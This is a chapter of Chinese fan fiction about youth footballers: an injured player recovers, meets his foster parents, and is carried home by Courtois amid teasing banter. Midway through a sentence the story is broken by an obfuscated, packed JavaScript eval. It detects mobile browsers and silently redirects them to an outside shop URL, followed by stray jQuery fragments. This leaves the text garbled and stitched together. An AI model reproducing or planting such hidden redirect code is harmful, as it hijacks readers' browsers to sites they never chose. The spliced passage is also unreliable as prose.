右腿腓骨骨挫伤，需要修养4-6周。
收到伤情鉴定报告之后，教练终于松了口气，还好还好，不算太严重的伤势，也不需要动手术，修养再复健一段时间基本可以恢复之前的状态，教练让德瑞克斯这段时间就好好休息，不要发力跑跳，德瑞克斯就点点头，一双平静的绿眼睛直视着教练，好像受伤的根本不是他一样。
德瑞克斯右腿外侧已经肿起来了，医生之前为了判断他伤势的具体情况还特意用手按了按那附近，问他有没有什么感觉，疼不疼，德瑞克斯却微微蹙眉，显示出一点困惑的意思，他看着自己的腿陌生地像看着什么不属于他的零部件，比起忍痛更像是不知道痛是什么。
但之后的检查又证明了他的神经反应是正常的，他并不是没有痛觉，只是在他的眼里，痛是一种他身体可以全盘接受和容纳的东西，是不值得他耗费心神去注意的东西。
那这样的体质，在未来的赛场上就很危险了……教练顿生出一股忧虑的情绪，德瑞克斯不觉得痛有什么大不了的，那他未来就不会因为受伤而停下脚步，甚至都不会有人注意到他受伤了，直到伤势积累起来越来越重，终于在某一天爆发出来让他再也动不了了。
到了那一天，他才会被迫停止奔跑。
为了避免那一天的到来，教练严肃告诉德瑞克斯每隔一段时间就要去医生那里检查一下身体情况，未来他加入职业俱乐部每个赛季前肯定也会有必要身体检查，但不能完全将希望寄托在那上面，君不见有多少兽医伪装成职业医生潜伏在许多俱乐部中，这其中甚至不乏顶级豪门。
世界就是一个巨大的草台班子，这句话确实是有一定依据的。
德瑞克斯看了教练一会儿，又思考了一下，然后再次点点头，教练盯着他的脸，想看看他到底有没有把这句话听进去，但一般人是很难从这张脸中看出什么的，教练当然也只是一般人，所以他叹了口气，没再多说什么。
德瑞克斯在医院住了几天，这期间他的养父母也过来看他了，他们的家在根特，和这里还隔着一段距离，不能经常过来，但偶尔还是会跟德瑞克斯打电话联系，询问他最近的情况，在知道德瑞克斯的伤情之后，即使清楚没有大碍也赶过来了。
养母还专门做了一份豆腐瘦肉汤，说在网上查了一下修养的时候喝这个有好处，又轻轻捏了一下德瑞克斯的鼻子，让他不准挑食，“这次没有啤酒炖牛肉了，酒容易加重水肿，将就着吃这个吧。”
德瑞克斯从不挑食，养母明明也知道，但她很喜欢看德瑞克斯一本正经地说我没有挑食，然后把她做的食物吃得一干二净，用实际行动证明他说的是真的。德瑞克斯也很少会说什么很好吃之类的话，每次做什么他就吃什么，按理说应该看不出来他的喜好，但时间久了养母还是有些发现，每次做啤酒炖牛肉时德瑞克斯都会率先吃这个，她就明白了。
库尔图瓦和德布劳内这个时候刚好也在病房里陪德瑞克斯，他们就和德瑞克斯的家人见了一面，德布劳内是德瑞克斯的朋友，这个德瑞克斯的养父母都知道，但库尔图瓦就很陌生了，他们没想到德瑞克斯来这里才几个月的时间就能交到一个新朋友，但既然库尔图瓦能在这个时候出现在这里，就说明他也是关心德瑞克斯的，那很好。
德瑞克斯的养父朝库尔图瓦伸出手：“你好，谢谢你们来陪德瑞克斯，这孩子虽然不太爱说话，但一直都是一个很真诚的人，他也多亏了你们的关照。”
库尔图瓦短促地笑了一声，然后在养父感到疑惑之前露出一个诚恳真切的笑容，和他握了握手：“你太客气了先生，我当然知道德瑞克斯是个真诚友善的人，也谢谢你们之前对他的养育和关怀，之后你们也不用担心，我会照顾好他的。”
一直到走出医院，养父都始终感觉有点不太对劲，但那种感觉又说不上来，就像根小刺一样扎在他心口，后面他翻来翻去才思考明白为什么他会觉得库尔图瓦那句话说得不对劲：这话说得像他照顾德瑞克斯是理所应当的，而他们这些家人反倒像外人似的。
真是倒反天罡！
但库尔图瓦说的照顾却不是糊弄他们的虚词，德瑞克斯来了亨克以后就一直住在青年宿舍中，亨克其实并不要求强制住宿，甚至不鼓励，大部分球员都是每天往返于家和训练基地中，外省球员比如德布劳内会寄宿在当地的其他家庭，但德瑞克斯刚刚才来，而且年纪已经是青少年了，就不太方便帮他安排家庭寄宿，所以他就直接住宿舍了。
这也就意味着整栋宿舍楼几乎就住了他一个人。库尔图瓦跟家里打了个招呼就直接搬到了德瑞克斯隔壁宿舍，德布劳内有心想要效仿库尔图瓦，但他毕竟是寄住在别人家，不太方便随便搬来搬去，最后只能作罢，库尔图瓦知道以后象征性地表达了一下遗憾，嘴角上扬露出一个再真心不过的笑容：“德瑞克斯有我就够了，你就放心吧。”
能放心吗？库尔图瓦不特意说这一句话还好，一旦说出来德布劳内不想担心都有点难，但之后他观察了几天没发现有什么问题，问了德瑞克斯德瑞克斯也没表现出什么异样，德布劳内也就渐渐放宽了心。
出院那天，德瑞克斯慢慢走在路上，库尔图瓦提着他一些换洗的衣服走在旁边，本来德瑞克斯是不用走这么慢的，他根本就不觉得现在的腿和之前的腿有什么不同，但在库尔图瓦的强烈要求下，他还是慢慢地一点一点地往前挪着。
但库尔图瓦走着走着却开始不耐烦了，他简直是天底下第一等难伺候的人，德瑞克斯之前正常走他不让，现在慢慢走他又嫌太慢了，德瑞克斯盯着他，努力理解什么叫“别像个蜗牛一样”，蜗牛是在地上爬的，但他也没有爬啊，库尔图瓦看着他的表情，虽然不知道他在想什么，但大概也猜到不是什么说出来会让他高兴的话，所以他干脆就不问他在想什么了，而是直接蹲下身，让德瑞克斯趴上来他背着他走。
德瑞克斯照做。库尔图瓦手指勾住衣袋，手臂撑着德瑞克斯的大腿把他背了起来，这时候他本可以让德瑞克斯自己提他的衣服的，但他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735301|209030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
忘了，他只记得嘲笑德瑞克斯有多瘦了，“你家里人都不给你吃饭吗？怎么这么轻？”
“我体重六十千克，身高一米七五，BMI约等于19.6，属于健康正常范畴。”
“那就是你太矮了，”库尔图瓦一口咬定，他看着路边两人重叠在一起的影子，示意德瑞克斯去看，“你趴在我背上都没我高，才一米七五，我都一米九五了。”
“是蒂博太高了。”
这平平淡淡的一句话瞬间让库尔图瓦憋不住要笑起来，他使劲压住上扬的嘴角，语气里却是克制不住的得意，“羡慕了啊，你再羡慕也不可能会长到我这么高的，我也不会把身高分给你，一厘米都不会！”
库尔图瓦感觉到德瑞克斯的脸微微贴在他后颈上，不属于他的发丝擦过皮肤时竟激起一阵莫名的电流，让他的脚步不由得顿了一顿，但他没有多说什么，只让德瑞克斯把手环在他肩颈上，环紧一点，免得之后把他摔出去了，然后他听到德瑞克斯的声音，就在他耳边响起：“身高是不可分的，它是每个人独有的特性……”
“闭嘴！你以为就你知道这些吗？连玩笑都分不清的笨蛋！”
“我不是笨蛋，我曾经下棋连续赢了你……”
“闭嘴闭嘴！”库尔图瓦都要被气笑了，没想到这么多年过去，这种黑历史居然还能被德瑞克斯扯出来当论据，但在气愤之余，库尔图瓦又感到一股莫名的心安，好像这句话确实是一种证明，但不是在证明德瑞克斯是个聪明人，而是证明他还有很多东西是没变的。
库尔图瓦就透过这些从来没变过的东西，反复去看着过去那个影子，看着那段他们相互陪伴只有彼此的时光。
他的心就像突然泡进了温泉水一样变得酸酸软软的，忍不住问他：“那你之后还下棋吗？一般都是哪些人陪你下？”
“……”德瑞克斯沉默了一会儿，然后毫无预兆地换了个话题，“你不喜欢库尔图瓦这个称呼吗？”
他居然还好意思说！放在平时库尔图瓦不是那么容易被人转移话题的人，但这个问题实在是太气人了，他把德瑞克斯再往上掂了掂，明明知道对方看不到，他依然翻了个巨大的白眼：“我叫你范你能接受吗？”
“为什么不能呢？”
“范范范范范范范范，啧，你这个姓念起来太别扭了，这么短，偏偏名字又那么长，我以后干脆叫你范德尔算了，这个名字也只能我来叫，其他人任何人都不允许，你听到了没？以后你再认不出我长什么样就听名字，这世界上只有我会这么叫你。”
“我不是兔子。”
“我的兔子叫范德库尔！跟你有什么关系！别自作多情了！”库尔图瓦气得又想跳脚，但德瑞克斯还在他背上，他只能愤愤地踹一脚路边无辜的石子，德瑞克斯又淡淡地回了一句“哦。”
“哦个屁！跟你没关系你听到了没？”
“……”
“说话！”
“我想睡觉了。”
“不准在我背上睡！”